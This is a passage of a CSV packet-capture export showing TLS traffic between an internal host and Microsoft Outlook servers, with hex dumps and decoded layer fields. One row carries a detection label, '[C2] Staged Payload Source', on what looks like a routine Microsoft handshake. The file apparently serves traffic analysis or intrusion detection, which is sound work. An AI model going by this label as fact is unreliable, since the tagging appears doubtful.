6\\\\x81v\\\\xfaC\\\\xf5(d\\\\xc0!\\\\xc8m+\\\\xf0\\\\xa7/\\\\x92#Ya\\\\xaf7d\\\\xb3\\\\xa4\\\\xe4\\\\x9b\\\\x98\\\\xa72p\\\\xf3\\\\x1e$1!\\\\xf6\\\\xb8L\\\\x1aw\\\\xf7\\\\x08\\\\xc66y\\\\x7fY\\\\'@w*\\\\x89\\\\x92\\\\xbb\\\\xb6\\\\xb6\\\\xa1\\\\x88\\\\x17\\\\x9a\\\\xad\\\\t\\\\x85\\\\x93\\\\xdd\\\\x19\\\\xeb\\\\x9de0A,P\\\\xd3\\\\xcc\\\\xa9\\\\x1b\\\\x14\\\\xa6_q\\\\xd3\\\\'h\\\\xd4\\\\n\\\\xf0OA\\\\x0b\\\\xbc\\\\x16\\\\xc3\\\\xc1\\\\x95\\\\xcc)\\\\xd5?)\\\\xbeC\\\\xdc\\\\xcc\\\\xcb\\\\x96\\\\xf0\\\\xc9e\\\\xaf\\\\x1b\\\\xc7\\\\xa8\\\\xc9\\\\x01\\\\xcas\\\\x84\\\\x9c\\\\x8a\\\\x08\\\\xc8\\\\xa2u\\\\x0f\\\\xb7\\\\xa1\\\\xaaf\\\\xa8O\\\\x8e\\\\xec\\\\xa7\\\\x03U\\\\xf2%\\\\t\\\\xc7\\\\x89\\\\xe1\\\\x17\\\\xa3\\\\x14y`U\\\\xd6\\\\xd3(\\\\x89\\\\x85/\\\\xdf}\\\\x9b\\\\xdb\\\\x84b\\\\x11\\\\x8dg\\\\x1f3\\\\xd1\\\\x13\\\\x02\\\\xbf\\\\xd6\\\\xeaHtg\\\\xcd\\\\x99\\\\xd5aS[\\\\x0b\\\\x0b\\\\xd0\\\\xf9@\\\\xf8\\\\x15\\\\x95A\\\\x01\\\\xdd\\\\xa9z\\\\xbc\\\\xe1\\\\xe1\\\\xabX\\\\xd5w\\\\xf3!k\\\\x94V&\\\\x82d\\\\x06\\\\x02\\\\xb7\\\\x89\\\\x8d\\\\x9b\\\\x01t8Z5\\\\xcb(^\\\\x8bg\\\\x12+z\\\\xdc\\\\x1bzP\\\\xdc\\\\xd4+T\\\\xdc\\\\x87ob\\\\x81\\\\xac$<\\\\x03ul\\\\x00\\\\xb0\\\\xbc\\\\xe6\\\\xa2\\\\xd6\\\\x89r\\\\'\\\\xc4p\\\\xac\\\\xf6\\\\xa1:\\\\x90eS\\\\xe3\\\\xe3e\\\\xf2\\\\x1e9\\\"\"\\\\x91\\\\xf6Y\\\\xb0\\\\x8ek$\\\\xf5\\\\xfb_3C.\\\\xd2Od\\\\x90nc\\\\x92C\\\"\"\\\\x86\\\\xb5kF\\\\xae8u\\\\xc5\\\\x8a\\\\xc1 \\\\xca\\\\xb1\\\\xdc:}\\\\xfd\\\\x82q+B\\\\t\\\\xa5Z\\\\xbe\\\\x1f\\\\xc7\\\\xcb\\\\xb5\\\\xeas\\\\x17c\\\\xed\\\\xcb\\\\xc5\\\\x8eF\\\\xf3\\\\xdf\\\\x16\\\\xc3j\\\\x01\\\\xb7\\\\xdfqB\\\"\"\\\\xbdC\\\\xa9\\\\xe5PZV\\\\x19\\\\xea\\\\x1c\\\\x13F\\\\x96\\\\x98\\\\xd5\\\\xe2B\\\\x14&\\\\xbcA}W;\\\\xb6P!\\\\xae\\\\xec\\\\x9f.\\\\xfd\\\\xd4\\\\xb1u\\\\xc5\\\\xa4\\\\x03\\\\xe4_bc\\\\t7\\\\xa8\\\\xa2\\\\x01?\\\\xb1\\\\xec}\\\\xd4\\\\xb3\\\\xc6\\\\xae\\\\x90\\\\x9a_\\\\x1e1\\\\xebtW\\\\xf7\\\\xb2\\\\xaa\\\\xfb\\\\xf1\\\\xd7\\\\x11$\\\\xd2d9\\\\xc2\\\\x88\\\\xe1F\\\\xe3q\\\\x96\\\\xfeP\\\\xfb<%\\\\xa4\\\\x0c\\\\xf4\\\\x0f\\\\xba\\\\xbb\\\\xa8\\\\xed\\\\xa8\\\\xbb\\\\x8a\\\\xe1\\\\x8c\\\\x10?\\\\xee^\\\\xa8\\\\n\\\\x04\\\\x10M' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.801334,50,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371818 Ack=869428231,bc24112907bbbc2411360d0c08004500002813a9400080064ffe0a98980b2863cc22f9dc01bbaed7b3aa33d26c07501003fd16bb0000,\".$.)...$.6\n...E..(..@...O.\n...(c.\"\"........3.l.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5033, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20478, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371818, \"\"ack\"\": 869428231, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 5819, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.804054,51,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2933371818 Ack=869428231,bc24112907bbbc2411360d0c08004500009613aa400080064f8f0a98980b2863cc22f9dc01bbaed7b3aa33d26c07501803fd0dac000017030300690000000000000005951a797b3d1a8f1af587a27d8f7fb27a2f60c105f894fa43d282b342ee2d5753991619680a673f67a61a479c9af1d12af33be9f4cc6393f9b6b438c8116f029923a396372784fe7b303c45bb591fc635d555a90d22b1dd69ad600102f330aac25b,\".$.)...$.6\n...E.....@...O.\n...(c.\"\"........3.l.P...\n.......i..........y{=......}...z/`.....C...B.-WS...h\ng?g..G....*.;...c....8..o..#..7'..{0<E.Y..5.U.\n\"\"..i.`...0..[\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 150, \"\"id\"\": 5034, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20367, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371818, \"\"ack\"\": 869428231, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 3500, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 105, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\x95\\\\x1ay{=\\\\x1a\\\\x8f\\\\x1a\\\\xf5\\\\x87\\\\xa2}\\\\x8f\\\\x7f\\\\xb2z/`\\\\xc1\\\\x05\\\\xf8\\\\x94\\\\xfaC\\\\xd2\\\\x82\\\\xb3B\\\\xee-WS\\\\x99\\\\x16\\\\x19h\\\\ng?g\\\\xa6\\\\x1aG\\\\x9c\\\\x9a\\\\xf1\\\\xd1*\\\\xf3;\\\\xe9\\\\xf4\\\\xccc\\\\x93\\\\xf9\\\\xb6\\\\xb48\\\\xc8\\\\x11o\\\\x02\\\\x99#\\\\xa3\\\\x967\\\\'\\\\x84\\\\xfe{0<E\\\\xbbY\\\\x1f\\\\xc65\\\\xd5U\\\\xa9\\\\r\\\"\"\\\\xb1\\\\xddi\\\\xad`\\\\x01\\\\x02\\\\xf30\\\\xaa\\\\xc2[' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.804068,52,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=869428231 Ack=2933371928,bc2411360d0cbc24112907bb080045000028c73940004006dc6d2863cc220a98980b01bbf9dc33d26c07aed7b4185010003f97430000,\".$.6\n..$.)....E..(.9@.@..m(c.\"\"\n.......3.l.....P..?.C..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51001, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56429, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869428231, \"\"ack\"\": 2933371928, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38723, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:46.796007,53,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=869428231 Ack=2933371928,bc2411360d0cbc24112907bb080045000210c73a40004006da842863cc220a98980b01bbf9dc33d26c07aed7b4185018003f992b0000170303026f00000000000000073c138ea91696f5d36270bfc7395eec17bed824de97cbb2933850362f70a20f2f73069afbaab2d88656cb2f03e6388998d35db31cc2a662ee032c9ed8f9b5b3580ad8b8cfa567acfb14ce6d6c2c2aaeb329ee9ec8ec8cf11e8407527082949e4ffe4c4cd12a572adb7fdf353808b093c8f5e4a6d04171621023aed3ea7fcb589b933c4999393ec6f887958e8c56736b2bbbb093803145999500e492eb15315cc723ad8aede80f28ae230c7603301f43c53657107ca32f62f3dffed7046250f5a89bd7bf46dcab5edd13be3cbcef05aee6243fb14691952a005a9266b737d934e91e4feb29ad4bb087890a24934069d060e0ed51dd14213ef9ff1c38997a18fd83ee60228db1dbf9494883a4dd59a21f5603c985eb276cff77017bd1c7904128fc2515a7d2700ec50bda9ab635aa80a9b0034238602db9f1926b82a57c71ababe08d2ff4f0d644384fc4c910a6399a6d957bb6b238c72ba43c9cc6de72d91c66f4e8e2cb94e7df4823c50aaa351b08bc3b277857a48a07fde3b250ded297beba66110ccb3c0a06c413a2314ee57caab674e1839311b02491ca3e4e46305b747163e5173f75676a1473ec2ec3cd1e93ab625056356eb2c6c7d1ed4fe3876dd82e224a82508ad21de4c8915ea89f5b0cbe15fe439562b0b09aa9d948dd,\".$.6\n..$.)....E....:@.@...(c.\"\"\n.......3.l.....P..?.+......o........<.......bp..9^....$.....8P6/p../s.......V./..8...]....b..,.....X\n....g....ml,*..).........Rp...O.LL.*W*...58........Aqb.#.....X..<I.9>......Vsk+....1E.......1\\.#.....(.#.v.0.C.6W.|./b.....bP.....F..^...<.....$?.F..*.Z.f.7.4..O.).K...\n$.@i.`..Q..!>...8.z....`\"\"....IH...Y..V....'l.w.{...A(.%...p......5.....B8`-...k..|q..../...D8O....9.m.{..8.+.<...r..f.......H#.\n.5...;'xW......P.....f...<\n....1N.|..t.....$..>NF0[tqc..?ugj.s.......bPV5n.....O..m..\"\"J.P......^..[....C.b.....H.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 528, \"\"id\"\": 51002, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 55940, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869428231, \"\"ack\"\": 2933371928, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 39211, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"170303026f00000000000000073c138ea91696f5d36270bfc7395eec17bed824de97cbb2933850362f70a20f2f73069afbaab2d88656cb2f03e6388998d35db31cc2a662ee032c9ed8f9b5b3580ad8b8cfa567acfb14ce6d6c2c2aaeb329ee9ec8ec8cf11e8407527082949e4ffe4c4cd12a572adb7fdf353808b093c8f5e4a6d04171621023aed3ea7fcb589b933c4999393ec6f887958e8c56736b2bbbb093803145999500e492eb15315cc723ad8aede80f28ae230c7603301f43c53657107ca32f62f3dffed7046250f5a89bd7bf46dcab5edd13be3cbcef05aee6243fb14691952a005a9266b737d934e91e4feb29ad4bb087890a24934069d060e0ed51dd14213ef9ff1c38997a18fd83ee60228db1dbf9494883a4dd59a21f5603c985eb276cff77017bd1c7904128fc2515a7d2700ec50bda9ab635aa80a9b0034238602db9f1926b82a57c71ababe08d2ff4f0d644384fc4c910a6399a6d957bb6b238c72ba43c9cc6de72d91c66f4e8e2cb94e7df4823c50aaa351b08bc3b277857a48a07fde3b250ded297beba66110ccb3c0a06c413a2314ee57caab674e1839311b02491ca3e4e46305b747163e5173f75676a1473ec2ec3cd1e93ab625056356eb2c6c7d1ed4fe3876dd82e224a82508ad21de4c8915ea89f5b0cbe15fe439562b0b09aa9d948dd\"\"}}]\"\n2026-06-28 14:01:46.796352,54,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371928 Ack=869428719,bc24112907bbbc2411360d0c08004500002813ab400080064ffc0a98980b2863cc22f9dc01bbaed7b41833d26def501003fb14670000,\".$.)...$.6\n...E..(..@...O.\n...(c.\"\"........3.m.P....g..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5035, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20476, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371928, \"\"ack\"\": 869428719, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1019, \"\"chksum\"\": 5223, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:46.853391,55,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=869428719 Ack=2933371928,bc2411360d0cbc24112907bb0800450000b4c73b40004006dbdf2863cc220a98980b01bbf9dc33d26defaed7b4185018003f97cf0000a522a82c852fcbf259189cc196f9a854cf8e790e2cd07b6882f802d43b3fbf1213044f6a1fbb7a7abad0f1ee4a194c5aca845c67e02e9a449db78bf010bbe59f08d2841398fc685dd9f9c1f79db1e0ece79f3333effc948a5a03e1dbead103ebf3ab6a3b843a9b34718bf07cddc4eaf7ed613e9aa734a2816467dffa521fdec58cb9377882faa360d4d09a06,\".\"\".,./..Y......T..y.,.{h....;?....Oj..zz....J.LZ..\\g...D..............h]..........33....Z.........j;.:.4q..|.....a>..4..dg..R.....7x...`....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 180, \"\"id\"\": 51003, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56287, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869428719, \"\"ack\"\": 2933371928, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 38863, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"a522a82c852fcbf259189cc196f9a854cf8e790e2cd07b6882f802d43b3fbf1213044f6a1fbb7a7abad0f1ee4a194c5aca845c67e02e9a449db78bf010bbe59f08d2841398fc685dd9f9c1f79db1e0ece79f3333effc948a5a03e1dbead103ebf3ab6a3b843a9b34718bf07cddc4eaf7ed613e9aa734a2816467dffa521fdec58cb9377882faa360d4d09a06\"\"}}]\"\n2026-06-28 14:01:46.853607,56,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371928 Ack=869428859,bc24112907bbbc2411360d0c08004500002813ac400080064ffb0a98980b2863cc22f9dc01bbaed7b41833d26e7b501003fa13dc0000,\".$.)...$.6\n...E..(..@...O.\n...(c.\"\"........3.n{P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5036, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20475, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371928, \"\"ack\"\": 869428859, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 5084, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:47.448829,57,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,S,,,Ether > IP > TCP,3,TCP S Seq=2486874356 Ack=0,bc24112907bbbc2411360d0c080045000034118c400080065a710a98980b3461b7c2f9fd01bb943ab0f4000000008002ffff9f610000020405b40103030801010402,\".$.)...$.6\n...E..4..@...Zq\n...4a.......:...........a..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 4492, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23153, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874356, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 40801, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-28 14:01:47.448844,58,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4213679581 Ack=2486874357,bc2411360d0cbc24112907bb080045000034000040004006abfd3461b7c20a98980b01bbf9fdfb27a5dd943ab0f58012faf08eed0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@...4a..\n........'...:.....................\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 44029, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213679581, \"\"ack\"\": 2486874357, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 36589, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-28 14:01:47.449142,59,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486874357 Ack=4213679582,bc24112907bbbc2411360d0c080045000028118d400080065a7c0a98980b3461b7c2f9fd01bb943ab0f5fb27a5de501004003b1e0000,\".$.)...$.6\n...E..(..@...Z|\n...4a.......:...'..P...;...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4493, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23164, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874357, \"\"ack\"\": 4213679582, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 15134, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:47.449517,60,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2486874357 Ack=4213679582,bc24112907bbbc2411360d0c0800450000f6118e4000800659ad0a98980b3461b7c2f9fd01bb943ab0f5fb27a5de501804006b70000016030300c9010000c503036a418bb922f60fae5b26ee26a483b1a7761f50082e38cb707e955fb3017d03e2000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000760000001a00180000156f75746c6f6f6b2e6f66666963653336352e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@...Y.\n...4a.......:...'..P...kp.............jA..\"\"...[&.&....v.P..8.p~._..}....&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...v.........outlook.office365.com..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 246, \"\"id\"\": 4494, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 22957, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874357, \"\"ack\"\": 4213679582, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 27504, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 201, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=197 version=TLS 1.2 gmt_unix_time=Sun, 28 Jun 2026 21:01:45  (1782680505) random_bytes=22f60fae5b26ee26a483b1a7761f50082e38cb707e955fb3017d03e2 sidlen=0 sid=b'' cipherslen=38 